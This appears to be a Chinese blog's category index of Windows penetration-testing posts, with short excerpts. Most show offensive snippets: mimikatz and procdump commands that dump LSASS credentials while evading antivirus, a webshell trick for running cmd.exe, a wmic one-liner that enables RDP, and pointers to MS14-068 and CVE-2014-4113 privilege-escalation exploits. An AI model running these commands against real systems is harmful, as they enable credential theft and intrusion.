随笔分类 -  windows

上一页 1 2
windows安全
windows自带的压缩，解压缩命令
摘要：压缩一个文件：makecab c:\ls.exe ls.zip解压一个文件：expand c:\ls.zip c:\ls.exe 阅读全文
posted @ 2015-11-07 13:47 Hookjoy 阅读(8489) 评论(0) 推荐(1)
mimikatz不反弹读取密码
摘要：有些时候无法反弹shell执行mimikatz，虽然可以用procdump导出lsass的内存dump文件，之后本地获取明文密码，但多少有点麻烦，其实mimikatz也支持命令行直接导出mimikatz.exe privilege::debug "log filename.log" sekurlsa... 阅读全文
posted @ 2015-07-11 14:17 Hookjoy 阅读(504) 评论(0) 推荐(0)
aspxshell下突破无可写可执行目录执行cmd
摘要：try{var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(s... 阅读全文
posted @ 2015-07-01 19:22 Hookjoy 阅读(960) 评论(0) 推荐(0)
MS14-068 privilege escalation PoC: 可以让任何域内用户提升为域管理员
摘要：https://github.com/bidord/pykek ms14-068.pyExploits MS14-680 vulnerability on an un-patched domain controler of an Active Directory domain to get a K... 阅读全文
posted @ 2014-12-05 19:34 Hookjoy 阅读(383) 评论(0) 推荐(0)
IIS7 Appcmd.exe 使用
摘要：如果您运行的是 64 位 Windows，请从 %windir%\system32\inetsrv 目录而不是 %windir%\syswow64\inetsrv 目录中使用 Appcmd.exe。 C:\Windows\System32\inetsrv>appcmd list VDIR VDIR 阅读全文
posted @ 2014-11-19 15:23 Hookjoy 阅读(2371) 评论(0) 推荐(0)
获取当前 Windows 的安装序列号
摘要：Dim ss = InputBox("当前Windows系统序列号为：", "Windows序列号", GetWindowsSN)WScript.Quit'取得当前Windows序列号函数Function GetWindowsSN() Const HKEY_LOCAL_MACHINE = &H... 阅读全文
posted @ 2014-11-03 22:16 Hookjoy 阅读(1238) 评论(0) 推荐(0)
Win2K3一句话开3389
摘要：网上流传了很多开3389的exe小工具，还有读写注册表的bat批处理，有的是操作注册表，有的是操作各种组件这里提供一个不会被拦截，而且可以使用的开3389的cmd一句话：wmicRDTOGGLEWHEREServerName='%COMPUTERNAME%'callSetAllowTSConnect... 阅读全文
posted @ 2014-10-30 15:20 Hookjoy 阅读(425) 评论(0) 推荐(0)
windows渗透被人忽视的一些小命令
摘要：cmdkey /list可以列出域内网之间可用的凭据。wmic useraccount get name,sidgpresult /r 阅读全文
posted @ 2014-10-25 08:20 Hookjoy 阅读(430) 评论(0) 推荐(0)
CVE-2014-4113 windows通杀本地提权0day
摘要：这个0day的发现挺有意思的，是老外CrowdStrike 发现的，被老外监测程序发现显示从WEBSHELL使用Win64.exe来提升权限。原文地址：http://blog.crowdstrike.com/crowdstrike-discovers-use-64-bit-zero-day-priv... 阅读全文
posted @ 2014-10-19 13:07 Hookjoy 阅读(1354) 评论(0) 推荐(0)
绕过杀毒软件抓取windows密码
摘要：使用procdump,由于是微软的东西,带微软签名杀软不会报毒。procdump -accepteula -ma lsass.exe lsass.dmpcopy出 lsass.dmp到本机。mimikatz # sekurlsa::minidump lsass.dmpSwitch to MINIDUMPmimikatz # sekurlsa::logonPasswords具体可以参考原文：http://blog.gentilkiwi.com/securite/mimikatz/minidump 阅读全文
posted @ 2014-02-27 19:54 Hookjoy 阅读(520) 评论(0) 推荐(0)

上一页 1 2